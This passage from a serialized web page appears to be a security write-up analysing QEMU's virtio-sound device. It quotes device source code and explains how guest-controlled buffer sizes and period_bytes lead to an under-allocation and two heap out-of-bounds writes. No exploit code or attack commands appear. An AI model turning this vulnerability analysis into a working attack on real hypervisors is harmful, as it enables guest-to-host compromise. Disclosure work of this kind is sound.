VirtQueueElement *elem;\n    VirtQueue *vq;\n    size_t size;\n    uint64_t offset;\n    /* Used for the TX queue for lazy I/O copy from `elem` */\n    bool populated;\n    uint8_t data[];\n};\n",[122435],{"type":23,"tag":135,"props":122436,"children":122437},{"__ignoreMap":7},[122438,122450,122463,122478,122495,122507,122519,122527,122539,122559],{"type":23,"tag":139,"props":122439,"children":122440},{"class":141,"line":142},[122441,122445],{"type":23,"tag":139,"props":122442,"children":122443},{"style":279},[122444],{"type":28,"value":7409},{"type":23,"tag":139,"props":122446,"children":122447},{"style":259},[122448],{"type":28,"value":122449}," VirtIOSoundPCMBuffer {\n",{"type":23,"tag":139,"props":122451,"children":122452},{"class":141,"line":151},[122453,122458],{"type":23,"tag":139,"props":122454,"children":122455},{"style":245},[122456],{"type":28,"value":122457},"    QSIMPLEQ_ENTRY",{"type":23,"tag":139,"props":122459,"children":122460},{"style":259},[122461],{"type":28,"value":122462},"(VirtIOSoundPCMBuffer) entry;\n",{"type":23,"tag":139,"props":122464,"children":122465},{"class":141,"line":160},[122466,122470,122474],{"type":23,"tag":139,"props":122467,"children":122468},{"style":259},[122469],{"type":28,"value":121795},{"type":23,"tag":139,"props":122471,"children":122472},{"style":982},[122473],{"type":28,"value":2573},{"type":23,"tag":139,"props":122475,"children":122476},{"style":259},[122477],{"type":28,"value":121804},{"type":23,"tag":139,"props":122479,"children":122480},{"class":141,"line":169},[122481,122486,122490],{"type":23,"tag":139,"props":122482,"children":122483},{"style":259},[122484],{"type":28,"value":122485},"    VirtQueue ",{"type":23,"tag":139,"props":122487,"children":122488},{"style":982},[122489],{"type":28,"value":2573},{"type":23,"tag":139,"props":122491,"children":122492},{"style":259},[122493],{"type":28,"value":122494},"vq;\n",{"type":23,"tag":139,"props":122496,"children":122497},{"class":141,"line":178},[122498,122502],{"type":23,"tag":139,"props":122499,"children":122500},{"style":279},[122501],{"type":28,"value":14576},{"type":23,"tag":139,"props":122503,"children":122504},{"style":259},[122505],{"type":28,"value":122506}," size;\n",{"type":23,"tag":139,"props":122508,"children":122509},{"class":141,"line":187},[122510,122514],{"type":23,"tag":139,"props":122511,"children":122512},{"style":279},[122513],{"type":28,"value":53511},{"type":23,"tag":139,"props":122515,"children":122516},{"style":259},[122517],{"type":28,"value":122518}," offset;\n",{"type":23,"tag":139,"props":122520,"children":122521},{"class":141,"line":196},[122522],{"type":23,"tag":139,"props":122523,"children":122524},{"style":958},[122525],{"type":28,"value":122526},"    /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":23,"tag":139,"props":122528,"children":122529},{"class":141,"line":205},[122530,122534],{"type":23,"tag":139,"props":122531,"children":122532},{"style":279},[122533],{"type":28,"value":44369},{"type":23,"tag":139,"props":122535,"children":122536},{"style":259},[122537],{"type":28,"value":122538}," populated;\n",{"type":23,"tag":139,"props":122540,"children":122541},{"class":141,"line":214},[122542,122546,122550,122555],{"type":23,"tag":139,"props":122543,"children":122544},{"style":279},[122545],{"type":28,"value":56356},{"type":23,"tag":139,"props":122547,"children":122548},{"style":259},[122549],{"type":28,"value":13116},{"type":23,"tag":139,"props":122551,"children":122552},{"style":279},[122553],{"type":28,"value":122554},"[]",{"type":23,"tag":139,"props":122556,"children":122557},{"style":259},[122558],{"type":28,"value":995},{"type":23,"tag":139,"props":122560,"children":122561},{"class":141,"line":1320},[122562],{"type":23,"tag":139,"props":122563,"children":122564},{"style":259},[122565],{"type":28,"value":14589},{"type":23,"tag":24,"props":122567,"children":122568},{},[122569,122571,122577,122579,122584,122586,122591,122593,122598,122600,122605,122607,122613],{"type":28,"value":122570},"That under-allocation removes the ",{"type":23,"tag":135,"props":122572,"children":122574},{"className":122573},[],[122575],{"type":28,"value":122576},"populated",{"type":28,"value":122578}," field along with the variable-sized ",{"type":23,"tag":135,"props":122580,"children":122582},{"className":122581},[],[122583],{"type":28,"value":1691},{"type":28,"value":122585}," array. As the comment says, ",{"type":23,"tag":135,"props":122587,"children":122589},{"className":122588},[],[122590],{"type":28,"value":122576},{"type":28,"value":122592}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":23,"tag":135,"props":122594,"children":122596},{"className":122595},[],[122597],{"type":28,"value":647},{"type":28,"value":122599},", the device believes data should be ",{"type":23,"tag":135,"props":122601,"children":122603},{"className":122602},[],[122604],{"type":28,"value":647},{"type":28,"value":122606}," byte, while the actual allocation is ",{"type":23,"tag":135,"props":122608,"children":122610},{"className":122609},[],[122611],{"type":28,"value":122612},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":28,"value":73},{"type":23,"tag":16900,"props":122615,"children":122617},{"id":122616},"populating-data-buffers",[122618],{"type":28,"value":122619},"Populating Data Buffers",{"type":23,"tag":24,"props":122621,"children":122622},{},[122623],{"type":28,"value":122624},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":23,"tag":128,"props":122626,"children":122628},{"code":122627,"language":1123,"meta":7,"className":14526,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n    VirtIOSoundPCMStream *stream = data;\n    VirtIOSoundPCMBuffer *buffer;\n    size_t size, max_size;\n\n    WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n        while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n            buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n            [...]\n\n            max_size = iov_size(                    // [1]\n                buffer->elem->in_sg,\n                buffer->elem->in_num\n            );\n            for (;;) {\n                if (buffer->size >= max_size) {     // [2]\n                    return_rx_buffer(stream, buffer);\n                    break;\n                }\n                size = AUD_read(stream->voice.in,\n                        buffer->data + buffer->size,\n                        MIN(available, (stream->params.period_bytes -     // [3]\n                                        buffer->size)));\n                if (!size) {\n                    available = 0;\n                    break;\n                }\n                buffer->size += size;\n                available -= size;\n                [...]\n            }\n        }\n    }\n}\n",[122629],{"type":23,"tag":135,"props":122630,"children":122631},{"__ignoreMap":7},[122632,122639,122647,122654,122662,122670,122677,122726,122733,122759,122776,122788,122795,122827,122872,122912,122919,122927,122934,122959,122987,123011,123019,123031,123069,123082,123094,123101,123147,123184,123227,123248,123268,123288,123299,123306,123329,123345,123353,123360,123367,123374],{"type":23,"tag":139,"props":122633,"children":122634},{"class":141,"line":142},[122635],{"type":23,"tag":139,"props":122636,"children":122637},{"style":958},[122638],{"type":28,"value":47263},{"type":23,"tag":139,"props":122640,"children":122641},{"class":141,"line":151},[122642],{"type":23,"tag":139,"props":122643,"children":122644},{"style":958},[122645],{"type":28,"value":122646}," * AUD_* input callback.\n",{"type":23,"tag":139,"props":122648,"children":122649},{"class":141,"line":160},[122650],{"type":23,"tag":139,"props":122651,"children":122652},{"style":958},[122653],{"type":28,"value":17495},{"type":23,"tag":139,"props":122655,"children":122656},{"class":141,"line":169},[122657],{"type":23,"tag":139,"props":122658,"children":122659},{"style":958},[122660],{"type":28,"value":122661}," * @data: VirtIOSoundPCMStream stream\n",{"type":23,"tag":139,"props":122663,"children":122664},{"class":141,"line":178},[122665],{"type":23,"tag":139,"props":122666,"children":122667},{"style":958},[122668],{"type":28,"value":122669}," * @available: number of bytes that can be read with AUD_read()\n",{"type":23,"tag":139,"props":122671,"children":122672},{"class":141,"line":187},[122673],{"type":23,"tag":139,"props":122674,"children":122675},{"style":958},[122676],{"type":28,"value":121732},{"type":23,"tag":139,"props":122678,"children":122679},{"class":141,"line":196},[122680,122684,122688,122693,122697,122701,122705,122709,122713,122717,122722],{"type":23,"tag":139,"props":122681,"children":122682},{"style":279},[122683],{"type":28,"value":48942},{"type":23,"tag":139,"props":122685,"children":122686},{"style":279},[122687],{"type":28,"value":48947},{"type":23,"tag":139,"props":122689,"children":122690},{"style":245},[122691],{"type":28,"value":122692}," virtio_snd_pcm_in_cb",{"type":23,"tag":139,"props":122694,"children":122695},{"style":259},[122696],{"type":28,"value":262},{"type":23,"tag":139,"props":122698,"children":122699},{"style":279},[122700],{"type":28,"value":49525},{"type":23,"tag":139,"props":122702,"children":122703},{"style":982},[122704],{"type":28,"value":7825},{"type":23,"tag":139,"props":122706,"children":122707},{"style":294},[122708],{"type":28,"value":1691},{"type":23,"tag":139,"props":122710,"children":122711},{"style":259},[122712],{"type":28,"value":1052},{"type":23,"tag":139,"props":122714,"children":122715},{"style":279},[122716],{"type":28,"value":17055},{"type":23,"tag":139,"props":122718,"children":122719},{"style":294},[122720],{"type":28,"value":122721}," available",{"type":23,"tag":139,"props":122723,"children":122724},{"style":259},[122725],{"type":28,"value":273},{"type":23,"tag":139,"props":122727,"children":122728},{"class":141,"line":205},[122729],{"type":23,"tag":139,"props":122730,"children":122731},{"style":259},[122732],{"type":28,"value":8890},{"type":23,"tag":139,"props":122734,"children":122735},{"class":141,"line":214},[122736,122741,122745,122750,122754],{"type":23,"tag":139,"props":122737,"children":122738},{"style":259},[122739],{"type":28,"value":122740},"    VirtIOSoundPCMStream ",{"type":23,"tag":139,"props":122742,"children":122743},{"style":982},[122744],{"type":28,"value":2573},{"type":23,"tag":139,"props":122746,"children":122747},{"style":259},[122748],{"type":28,"value":122749},"stream ",{"type":23,"tag":139,"props":122751,"children":122752},{"style":982},[122753],{"type":28,"value":1067},{"type":23,"tag":139,"props":122755,"children":122756},{"style":259},[122757],{"type":28,"value":122758}," data;\n",{"type":23,"tag":139,"props":122760,"children":122761},{"class":141,"line":1320},[122762,122767,122771],{"type":23,"tag":139,"props":122763,"children":122764},{"style":259},[122765],{"type":28,"value":122766},"    VirtIOSoundPCMBuffer ",{"type":23,"tag":139,"props":122768,"children":122769},{"style":982},[122770],{"type":28,"value":2573},{"type":23,"tag":139,"props":122772,"children":122773},{"style":259},[122774],{"type":28,"value":122775},"buffer;\n",{"type":23,"tag":139,"props":122777,"children":122778},{"class":141,"line":1329},[122779,122783],{"type":23,"tag":139,"props":122780,"children":122781},{"style":279},[122782],{"type":28,"value":14576},{"type":23,"tag":139,"props":122784,"children":122785},{"style":259},[122786],{"type":28,"value":122787}," size, max_size;\n",{"type":23,"tag":139,"props":122789,"children":122790},{"class":141,"line":1580},[122791],{"type":23,"tag":139,"props":122792,"children":122793},{"emptyLinePlaceholder":15},[122794],{"type":28,"value":184},{"type":23,"tag":139,"props":122796,"children":122797},{"class":141,"line":1597},[122798,122803,122807,122811,122815,122819,122823],{"type":23,"tag":139,"props":122799,"children":122800},{"style":245},[122801],{"type":28,"value":122802},"    WITH_QEMU_LOCK_GUARD",{"type":23,"tag":139,"props":122804,"children":122805},{"style":259},[122806],{"type":28,"value":262},{"type":23,"tag":139,"props":122808,"children":122809},{"style":982},[122810],{"type":28,"value":1085},{"type":23,"tag":139,"props":122812,"children":122813},{"style":294},[122814],{"type":28,"value":34151},{"type":23,"tag":139,"props":122816,"children":122817},{"style":259},[122818],{"type":28,"value":11768},{"type":23,"tag":139,"props":122820,"children":122821},{"style":294},[122822],{"type":28,"value":121979},{"type":23,"tag":139,"props":122824,"children":122825},{"style":259},[122826],{"type":28,"value":12815},{"type":23,"tag":139,"props":122828,"children":122829},{"class":141,"line":1614},[122830,122835,122839,122843,122848,122852,122856,122860,122864,122868],{"type":23,"tag":139,"props":122831,"children":122832},{"style":319},[122833],{"type":28,"value":122834},"        while",{"type":23,"tag":139,"props":122836,"children":122837},{"style":259},[122838],{"type":28,"value":1042},{"type":23,"tag":139,"props":122840,"children":122841},{"style":982},[122842],{"type":28,"value":18629},{"type":23,"tag":139,"props":122844,"children":122845},{"style":245},[122846],{"type":28,"value":122847},"QSIMPLEQ_EMPTY",{"type":23,"tag":139,"props":122849,"children":122850},{"style":259},[122851],{"type":28,"value":262},{"type":23,"tag":139,"props":122853,"children":122854},{"style":982},[122855],{"type":28,"value":1085},{"type":23,"tag":139,"props":122857,"children":122858},{"style":294},[122859],{"type":28,"value":34151},{"type":23,"tag":139,"props":122861,"children":122862},{"style":259},[122863],{"type":28,"value":11768},{"type":23,"tag":139,"props":122865,"children":122866},{"style":294},[122867],{"type":28,"value":122232},{"type":23,"tag":139,"props":122869,"children":122870},{"style":259},[122871],{"type":28,"value":33083},{"type":23,"tag":139,"props":122873,"children":122874},{"class":141,"line":1627},[122875,122879,122883,122888,122892,122896,122900,122904,122908],{"type":23,"tag":139,"props":122876,"children":122877},{"style":259},[122878],{"type":28,"value":122068},{"type":23,"tag":139,"props":122880,"children":122881},{"style":982},[122882],{"type":28,"value":1067},{"type":23,"tag":139,"props":122884,"children":122885},{"style":245},[122886],{"type":28,"value":122887}," QSIMPLEQ_FIRST",{"type":23,"tag":139,"props":122889,"children":122890},{"style":259},[122891],{"type":28,"value":262},{"type":23,"tag":139,"props":122893,"children":122894},{"style":982},[122895],{"type":28,"value":1085},{"type":23,"tag":139,"props":122897,"children":122898},{"style":294},[122899],{"type":28,"value":34151},{"type":23,"tag":139,"props":122901,"children":122902},{"style":259},[122903],{"type":28,"value":11768},{"type":23,"tag":139,"props":122905,"children":122906},{"style":294},[122907],{"type":28,"value":122232},{"type":23,"tag":139,"props":122909,"children":122910},{"style":259},[122911],{"type":28,"value":1820},{"type":23,"tag":139,"props":122913,"children":122914},{"class":141,"line":1636},[122915],{"type":23,"tag":139,"props":122916,"children":122917},{"emptyLinePlaceholder":15},[122918],{"type":28,"value":184},{"type":23,"tag":139,"props":122920,"children":122921},{"class":141,"line":1659},[122922],{"type":23,"tag":139,"props":122923,"children":122924},{"style":259},[122925],{"type":28,"value":122926},"            [...]\n",{"type":23,"tag":139,"props":122928,"children":122929},{"class":141,"line":1667},[122930],{"type":23,"tag":139,"props":122931,"children":122932},{"emptyLinePlaceholder":15},[122933],{"type":28,"value":184},{"type":23,"tag":139,"props":122935,"children":122936},{"class":141,"line":1676},[122937,122942,122946,122950,122954],{"type":23,"tag":139,"props":122938,"children":122939},{"style":259},[122940],{"type":28,"value":122941},"            max_size ",{"type":23,"tag":139,"props":122943,"children":122944},{"style":982},[122945],{"type":28,"value":1067},{"type":23,"tag":139,"props":122947,"children":122948},{"style":245},[122949],{"type":28,"value":122000},{"type":23,"tag":139,"props":122951,"children":122952},{"style":259},[122953],{"type":28,"value":262},{"type":23,"tag":139,"props":122955,"children":122956},{"style":958},[122957],{"type":28,"value":122958},"                    // [1]\n",{"type":23,"tag":139,"props":122960,"children":122961},{"class":141,"line":1745},[122962,122967,122971,122975,122979,122983],{"type":23,"tag":139,"props":122963,"children":122964},{"style":294},[122965],{"type":28,"value":122966},"                buffer",{"type":23,"tag":139,"props":122968,"children":122969},{"style":259},[122970],{"type":28,"value":11768},{"type":23,"tag":139,"props":122972,"children":122973},{"style":294},[122974],{"type":28,"value":49962},{"type":23,"tag":139,"props":122976,"children":122977},{"style":259},[122978],{"type":28,"value":11768},{"type":23,"tag":139,"props":122980,"children":122981},{"style":294},[122982],{"type":28,"value":122017},{"type":23,"tag":139,"props":122984,"children":122985},{"style":259},[122986],{"type":28,"value":1488},{"type":23,"tag":139,"props":122988,"children":122989},{"class":141,"line":1753},[122990,122994,122998,123002,123006],{"type":23,"tag":139,"props":122991,"children":122992},{"style":294},[122993],{"type":28,"value":122966},{"type":23,"tag":139,"props":122995,"children":122996},{"style":259},[122997],{"type":28,"value":11768},{"type":23,"tag":139,"props":122999,"children":123000},{"style":294},[123001],{"type":28,"value":49962},{"type":23,"tag":139,"props":123003,"children":123004},{"style":259},[123005],{"type":28,"value":11768},{"type":23,"tag":139,"props":123007,"children":123008},{"style":294},[123009],{"type":28,"value":123010},"in_num\n",{"type":23,"tag":139,"props":123012,"children":123013},{"class":141,"line":1783},[123014],{"type":23,"tag":139,"props":123015,"children":123016},{"style":259},[123017],{"type":28,"value":123018},"            );\n",{"type":23,"tag":139,"props":123020,"children":123021},{"class":141,"line":1791},[123022,123027],{"type":23,"tag":139,"props":123023,"children":123024},{"style":319},[123025],{"type":28,"value":123026},"            for",{"type":23,"tag":139,"props":123028,"children":123029},{"style":259},[123030],{"type":28,"value":121830},{"type":23,"tag":139,"props":123032,"children":123033},{"class":141,"line":1823},[123034,123038,123042,123047,123051,123055,123059,123064],{"type":23,"tag":139,"props":123035,"children":123036},{"style":319},[123037],{"type":28,"value":101424},{"type":23,"tag":139,"props":123039,"children":123040},{"style":259},[123041],{"type":28,"value":1042},{"type":23,"tag":139,"props":123043,"children":123044},{"style":294},[123045],{"type":28,"value":123046},"buffer",{"type":23,"tag":139,"props":123048,"children":123049},{"style":259},[123050],{"type":28,"value":11768},{"type":23,"tag":139,"props":123052,"children":123053},{"style":294},[123054],{"type":28,"value":122164},{"type":23,"tag":139,"props":123056,"children":123057},{"style":982},[123058],{"type":28,"value":6306},{"type":23,"tag":139,"props":123060,"children":123061},{"style":259},[123062],{"type":28,"value":123063}," max_size) {",{"type":23,"tag":139,"props":123065,"children":123066},{"style":958},[123067],{"type":28,"value":123068},"     // [2]\n",{"type":23,"tag":139,"props":123070,"children":123071},{"class":141,"line":1831},[123072,123077],{"type":23,"tag":139,"props":123073,"children":123074},{"style":245},[123075],{"type":28,"value":123076},"                    return_rx_buffer",{"type":23,"tag":139,"props":123078,"children":123079},{"style":259},[123080],{"type":28,"value":123081},"(stream, buffer);\n",{"type":23,"tag":139,"props":123083,"children":123084},{"class":141,"line":1891},[123085,123090],{"type":23,"tag":139,"props":123086,"children":123087},{"style":319},[123088],{"type":28,"value":123089},"                    break",{"type":23,"tag":139,"props":123091,"children":123092},{"style":259},[123093],{"type":28,"value":995},{"type":23,"tag":139,"props":123095,"children":123096},{"class":141,"line":7053},[123097],{"type":23,"tag":139,"props":123098,"children":123099},{"style":259},[123100],{"type":28,"value":68973},{"type":23,"tag":139,"props":123102,"children":123103},{"class":141,"line":7071},[123104,123109,123113,123118,123122,123126,123130,123135,123139,123143],{"type":23,"tag":139,"props":123105,"children":123106},{"style":259},[123107],{"type":28,"value":123108},"                size ",{"type":23,"tag":139,"props":123110,"children":123111},{"style":982},[123112],{"type":28,"value":1067},{"type":23,"tag":139,"props":123114,"children":123115},{"style":245},[123116],{"type":28,"value":123117}," AUD_read",{"type":23,"tag":139,"props":123119,"children":123120},{"style":259},[123121],{"type":28,"value":262},{"type":23,"tag":139,"props":123123,"children":123124},{"style":294},[123125],{"type":28,"value":34151},{"type":23,"tag":139,"props":123127,"children":123128},{"style":259},[123129],{"type":28,"value":11768},{"type":23,"tag":139,"props":123131,"children":123132},{"style":294},[123133],{"type":28,"value":123134},"voice",{"type":23,"tag":139,"props":123136,"children":123137},{"style":259},[123138],{"type":28,"value":73},{"type":23,"tag":139,"props":123140,"children":123141},{"style":294},[123142],{"type":28,"value":93402},{"type":23,"tag":139,"props":123144,"children":123145},{"style":259},[123146],{"type":28,"value":1488},{"type":23,"tag":139,"props":123148,"children":123149},{"class":141,"line":7116},[123150,123155,123159,123163,123167,123172,123176,123180],{"type":23,"tag":139,"props":123151,"children":123152},{"style":294},[123153],{"type":28,"value":123154},"                        buffer",{"type":23,"tag":139,"props":123156,"children":123157},{"style":259},[123158],{"type":28,"value":11768},{"type":23,"tag":139,"props":123160,"children":123161},{"style":294},[123162],{"type":28,"value":1691},{"type":23,"tag":139,"props":123164,"children":123165},{"style":982},[123166],{"type":28,"value":6910},{"type":23,"tag":139,"props":123168,"children":123169},{"style":294},[123170],{"type":28,"value":123171}," buffer",{"type":23,"tag":139,"props":123173,"children":123174},{"style":259},[123175],{"type":28,"value":11768},{"type":23,"tag":139,"props":123177,"children":123178},{"style":294},[123179],{"type":28,"value":122164},{"type":23,"tag":139,"props":123181,"children":123182},{"style":259},[123183],{"type":28,"value":1488},{"type":23,"tag":139,"props":123185,"children":123186},{"class":141,"line":7222},[123187,123192,123197,123201,123205,123209,123213,123218,123222],{"type":23,"tag":139,"props":123188,"children":123189},{"style":245},[123190],{"type":28,"value":123191},"                        MIN",{"type":23,"tag":139,"props":123193,"children":123194},{"style":259},[123195],{"type":28,"value":123196},"(available, (",{"type":23,"tag":139,"props":123198,"children":123199},{"style":294},[123200],{"type":28,"value":34151},{"type":23,"tag":139,"props":123202,"children":123203},{"style":259},[123204],{"type":28,"value":11768},{"type":23,"tag":139,"props":123206,"children":123207},{"style":294},[123208],{"type":28,"value":96186},{"type":23,"tag":139,"props":123210,"children":123211},{"style":259},[123212],{"type":28,"value":73},{"type":23,"tag":139,"props":123214,"children":123215},{"style":294},[123216],{"type":28,"value":123217},"period_bytes",{"type":23,"tag":139,"props":123219,"children":123220},{"style":982},[123221],{"type":28,"value":49153},{"type":23,"tag":139,"props":123223,"children":123224},{"style":958},[123225],{"type":28,"value":123226},"     // [3]\n",{"type":23,"tag":139,"props":123228,"children":123229},{"class":141,"line":21518},[123230,123235,123239,123243],{"type":23,"tag":139,"props":123231,"children":123232},{"style":294},[123233],{"type":28,"value":123234},"                                        buffer",{"type":23,"tag":139,"props":123236,"children":123237},{"style":259},[123238],{"type":28,"value":11768},{"type":23,"tag":139,"props":123240,"children":123241},{"style":294},[123242],{"type":28,"value":122164},{"type":23,"tag":139,"props":123244,"children":123245},{"style":259},[123246],{"type":28,"value":123247},")));\n",{"type":23,"tag":139,"props":123249,"children":123250},{"class":141,"line":21553},[123251,123255,123259,123263],{"type":23,"tag":139,"props":123252,"children":123253},{"style":319},[123254],{"type":28,"value":101424},{"type":23,"tag":139,"props":123256,"children":123257},{"style":259},[123258],{"type":28,"value":1042},{"type":23,"tag":139,"props":123260,"children":123261},{"style":982},[123262],{"type":28,"value":18629},{"type":23,"tag":139,"props":123264,"children":123265},{"style":259},[123266],{"type":28,"value":123267},"size) {\n",{"type":23,"tag":139,"props":123269,"children":123270},{"class":141,"line":21561},[123271,123276,123280,123284],{"type":23,"tag":139,"props":123272,"children":123273},{"style":259},[123274],{"type":28,"value":123275},"                    available ",{"type":23,"tag":139,"props":123277,"children":123278},{"style":982},[123279],{"type":28,"value":1067},{"type":23,"tag":139,"props":123281,"children":123282},{"style":1016},[123283],{"type":28,"value":1019},{"type":23,"tag":139,"props":123285,"children":123286},{"style":259},[123287],{"type":28,"value":995},{"type":23,"tag":139,"props":123289,"children":123290},{"class":141,"line":21569},[123291,123295],{"type":23,"tag":139,"props":123292,"children":123293},{"style":319},[123294],{"type":28,"value":123089},{"type":23,"tag":139,"props":123296,"children":123297},{"style":259},[123298],{"type":28,"value":995},{"type":23,"tag":139,"props":123300,"children":123301},{"class":141,"line":21578},[123302],{"type":23,"tag":139,"props":123303,"children":123304},{"style":259},[123305],{"type":28,"value":68973},{"type":23,"tag":139,"props":123307,"children":123308},{"class":141,"line":21620},[123309,123313,123317,123321,123325],{"type":23,"tag":139,"props":123310,"children":123311},{"style":294},[123312],{"type":28,"value":122966},{"type":23,"tag":139,"props":123314,"children":123315},{"style":259},[123316],{"type":28,"value":11768},{"type":23,"tag":139,"props":123318,"children":123319},{"style":294},[123320],{"type":28,"value":122164},{"type":23,"tag":139,"props":123322,"children":123323},{"style":982},[123324],{"type":28,"value":13076},{"type":23,"tag":139,"props":123326,"children":123327},{"style":259},[123328],{"type":28,"value":122506},{"type":23,"tag":139,"props":123330,"children":123331},{"class":141,"line":21653},[123332,123337,123341],{"type":23,"tag":139,"props":123333,"children":123334},{"style":259},[123335],{"type":28,"value":123336},"                available ",{"type":23,"tag":139,"props":123338,"children":123339},{"style":982},[123340],{"type":28,"value":101889},{"type":23,"tag":139,"props":123342,"children":123343},{"style":259},[123344],{"type":28,"value":122506},{"type":23,"tag":139,"props":123346,"children":123347},{"class":141,"line":21661},[123348],{"type":23,"tag":139,"props":123349,"children":123350},{"style":259},[123351],{"type":28,"value":123352},"                [...]\n",{"type":23,"tag":139,"props":123354,"children":123355},{"class":141,"line":21669},[123356],{"type":23,"tag":139,"props":123357,"children":123358},{"style":259},[123359],{"type":28,"value":56784},{"type":23,"tag":139,"props":123361,"children":123362},{"class":141,"line":21678},[123363],{"type":23,"tag":139,"props":123364,"children":123365},{"style":259},[123366],{"type":28,"value":1326},{"type":23,"tag":139,"props":123368,"children":123369},{"class":141,"line":21754},[123370],{"type":23,"tag":139,"props":123371,"children":123372},{"style":259},[123373],{"type":28,"value":1335},{"type":23,"tag":139,"props":123375,"children":123376},{"class":141,"line":21787},[123377],{"type":23,"tag":139,"props":123378,"children":123379},{"style":259},[123380],{"type":28,"value":1897},{"type":23,"tag":24,"props":123382,"children":123383},{},[123384,123385,123390,123391,123397,123399,123405,123407,123412,123413,123418,123420,123425],{"type":28,"value":122286},{"type":23,"tag":135,"props":123386,"children":123388},{"className":123387},[],[123389],{"type":28,"value":122292},{"type":28,"value":1052},{"type":23,"tag":135,"props":123392,"children":123394},{"className":123393},[],[123395],{"type":28,"value":123396},"max_size",{"type":28,"value":123398}," is set to ",{"type":23,"tag":135,"props":123400,"children":123402},{"className":123401},[],[123403],{"type":28,"value":123404},"iov_size(in_sg, in_num)",{"type":28,"value":123406},". Both ",{"type":23,"tag":135,"props":123408,"children":123410},{"className":123409},[],[123411],{"type":28,"value":122017},{"type":28,"value":9002},{"type":23,"tag":135,"props":123414,"children":123416},{"className":123415},[],[123417],{"type":28,"value":122034},{"type":28,"value":123419}," are the same guest-controlled fields from ",{"type":23,"tag":135,"props":123421,"children":123423},{"className":123422},[],[123424],{"type":28,"value":121669},{"type":28,"value":73},{"type":23,"tag":24,"props":123427,"children":123428},{},[123429,123431,123436,123438,123444,123446,123452,123454,123460],{"type":28,"value":123430},"Later, at ",{"type":23,"tag":135,"props":123432,"children":123434},{"className":123433},[],[123435],{"type":28,"value":122327},{"type":28,"value":123437},", the code checks whether ",{"type":23,"tag":135,"props":123439,"children":123441},{"className":123440},[],[123442],{"type":28,"value":123443},"buffer->size >= max_size",{"type":28,"value":123445},". In the RX path, ",{"type":23,"tag":135,"props":123447,"children":123449},{"className":123448},[],[123450],{"type":28,"value":123451},"buffer->size",{"type":28,"value":123453}," tracks how many bytes have been written into ",{"type":23,"tag":135,"props":123455,"children":123457},{"className":123456},[],[123458],{"type":28,"value":123459},"buffer->data",{"type":28,"value":123461},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":23,"tag":24,"props":123463,"children":123464},{},[123465,123467,123472,123474,123480,123482,123487,123489,123495],{"type":28,"value":123466},"However, this does not match the allocation logic in ",{"type":23,"tag":135,"props":123468,"children":123470},{"className":123469},[],[123471],{"type":28,"value":121669},{"type":28,"value":123473},", which used: ",{"type":23,"tag":135,"props":123475,"children":123477},{"className":123476},[],[123478],{"type":28,"value":123479},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":28,"value":123481},". In other words, the allocation subtracts ",{"type":23,"tag":135,"props":123483,"children":123485},{"className":123484},[],[123486],{"type":28,"value":122393},{"type":28,"value":123488},", but the later bound in ",{"type":23,"tag":135,"props":123490,"children":123492},{"className":123491},[],[123493],{"type":28,"value":123494},"virtio_snd_pcm_in_cb",{"type":28,"value":123496}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":23,"tag":24,"props":123498,"children":123499},{},[123500,123502,123507,123509,123515,123517,123523,123525,123530,123532,123538,123540,123546,123548,123553,123555,123560],{"type":28,"value":123501},"Finally, at ",{"type":23,"tag":135,"props":123503,"children":123505},{"className":123504},[],[123506],{"type":28,"value":122351},{"type":28,"value":123508},", the code calls ",{"type":23,"tag":135,"props":123510,"children":123512},{"className":123511},[],[123513],{"type":28,"value":123514},"AUD_read",{"type":28,"value":123516}," with the following limit:\n",{"type":23,"tag":135,"props":123518,"children":123520},{"className":123519},[],[123521],{"type":28,"value":123522},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":28,"value":123524},". Notice how this bound does not take ",{"type":23,"tag":135,"props":123526,"children":123528},{"className":123527},[],[123529],{"type":28,"value":123396},{"type":28,"value":123531}," into account at all. That means if ",{"type":23,"tag":135,"props":123533,"children":123535},{"className":123534},[],[123536],{"type":28,"value":123537},"available",{"type":28,"value":123539}," is larger than the allocated buffer, and ",{"type":23,"tag":135,"props":123541,"children":123543},{"className":123542},[],[123544],{"type":28,"value":123545},"stream->params.period_bytes",{"type":28,"value":123547}," is also larger than the allocated buffer, ",{"type":23,"tag":135,"props":123549,"children":123551},{"className":123550},[],[123552],{"type":28,"value":123514},{"type":28,"value":123554}," will write past the end of ",{"type":23,"tag":135,"props":123556,"children":123558},{"className":123557},[],[123559],{"type":28,"value":123459},{"type":28,"value":123561}," - the third, and final, bug we found.",{"type":23,"tag":24,"props":123563,"children":123564},{},[123565,123567,123572,123574,123580],{"type":28,"value":123566},"Looking further at the code, we can see that ",{"type":23,"tag":135,"props":123568,"children":123570},{"className":123569},[],[123571],{"type":28,"value":123545},{"type":28,"value":123573}," is fully guest-controlled by issuing a ",{"type":23,"tag":135,"props":123575,"children":123577},{"className":123576},[],[123578],{"type":28,"value":123579},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":28,"value":123581}," request:",{"type":23,"tag":128,"props":123583,"children":123585},{"code":123584,"language":1123,"meta":7,"className":14526,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n                                   uint32_t stream_id,\n                                   virtio_snd_pcm_set_params *params)\n{\n    virtio_snd_pcm_set_params *st_params;\n\n    [...]\n\n    st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n    [...]\n\n    st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n    st_params->period_bytes = le32_to_cpu(params->period_bytes);\n    st_params->features = le32_to_cpu(params->features);\n    /* the following are uint8_t, so there's no need to bswap the values. */\n    st_params->channels = params->channels;\n    st_params->format = params->format;\n    st_params->rate = params->rate;\n\n    return 